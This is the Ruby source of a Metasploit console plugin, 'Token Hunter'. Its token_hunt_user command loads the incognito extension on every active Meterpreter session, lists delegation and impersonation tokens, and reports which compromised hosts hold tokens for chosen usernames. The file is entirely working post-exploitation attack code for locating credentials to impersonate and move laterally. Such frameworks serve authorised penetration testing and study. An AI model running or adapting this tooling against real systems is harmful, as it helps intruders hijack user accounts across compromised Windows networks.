token_hunter.rb 3.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147
  1. #
  2. # $Id$
  3. # $Revision$
  4. #
  5. module Msf
  6. class Plugin::TokenHunter < Msf::Plugin
  7. class TokenCommandDispatcher
  8. include Msf::Ui::Console::CommandDispatcher
  9. def name
  10. 'Token Hunter'
  11. end
  12. def commands
  13. {
  14. 'token_hunt_user' => 'Scan all connected Meterpreter sessions for active tokens corresponding to one or more users'
  15. }
  16. end
  17. def cmd_token_hunt_user(*args)
  18. opts = Rex::Parser::Arguments.new(
  19. '-h' => [ false, 'This help menu'],
  20. '-f' => [ true, 'A file containing a list of users to search for (one per line)']
  21. )
  22. opt_userfile = nil
  23. opt_users = []
  24. opts.parse(args) do |opt, _idx, val|
  25. case opt
  26. when '-h'
  27. print_line('Usage: token_hunt_user [options] <username> [username] .. [username]')
  28. print_line(opts.usage)
  29. return
  30. when '-f'
  31. opt_userfile = val
  32. else
  33. opt_users << val
  34. end
  35. end
  36. if opt_userfile
  37. ::File.open(opt_userfile, 'rb') do |fd|
  38. fd.each_line do |line|
  39. line.strip!
  40. next if line.empty?
  41. next if line =~ /^#/
  42. opt_users << line
  43. end
  44. end
  45. end
  46. opt_users.uniq!
  47. tokens_del = {}
  48. tokens_imp = {}
  49. framework.sessions.each_key do |sid|
  50. session = framework.sessions[sid]
  51. next if session.type != 'meterpreter'
  52. print_status(">> Scanning session #{session.sid} / #{session.session_host}")
  53. if !session.incognito
  54. session.core.use('incognito')
  55. end
  56. if !session.incognito
  57. print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
  58. next
  59. end
  60. res = session.incognito.incognito_list_tokens(0)
  61. next unless res
  62. res['delegation'].split("\n").each do |user|
  63. opt_users.each do |needle|
  64. ndom, nusr = needle.split('\\')
  65. if !nusr
  66. nusr = ndom
  67. ndom = nil
  68. end
  69. if (!user.nil? && ndom && (user.strip.downcase == needle.strip.downcase))
  70. print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)")
  71. next
  72. end
  73. _fdom, fusr = user.split('\\')
  74. if (!fusr.nil? && !ndom && (fusr.strip.downcase == nusr.strip.downcase))
  75. print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)")
  76. end
  77. end
  78. tokens_del[user] ||= []
  79. tokens_del[user] << session.sid
  80. end
  81. res['impersonation'].split("\n").each do |user|
  82. opt_users.each do |needle|
  83. ndom, nusr = needle.split('\\')
  84. if !nusr
  85. nusr = ndom
  86. ndom = nil
  87. end
  88. if (!user.nil? && ndom && (user.strip.downcase == needle.strip.downcase))
  89. print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)")
  90. next
  91. end
  92. _fdom, fusr = user.split('\\')
  93. if (!fusr.nil? && !ndom && (fusr.strip.downcase == nusr.strip.downcase))
  94. print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)")
  95. end
  96. end
  97. tokens_imp[user] ||= []
  98. tokens_imp[user] << session.sid
  99. end
  100. end
  101. end
  102. end
  103. def initialize(framework, opts)
  104. super
  105. add_console_dispatcher(TokenCommandDispatcher)
  106. end
  107. def cleanup
  108. remove_console_dispatcher('Token Hunter')
  109. end
  110. def name
  111. 'token_hunter'
  112. end
  113. def desc
  114. 'Search all active Meterpreter sessions for specific tokens'
  115. end
  116. end
  117. end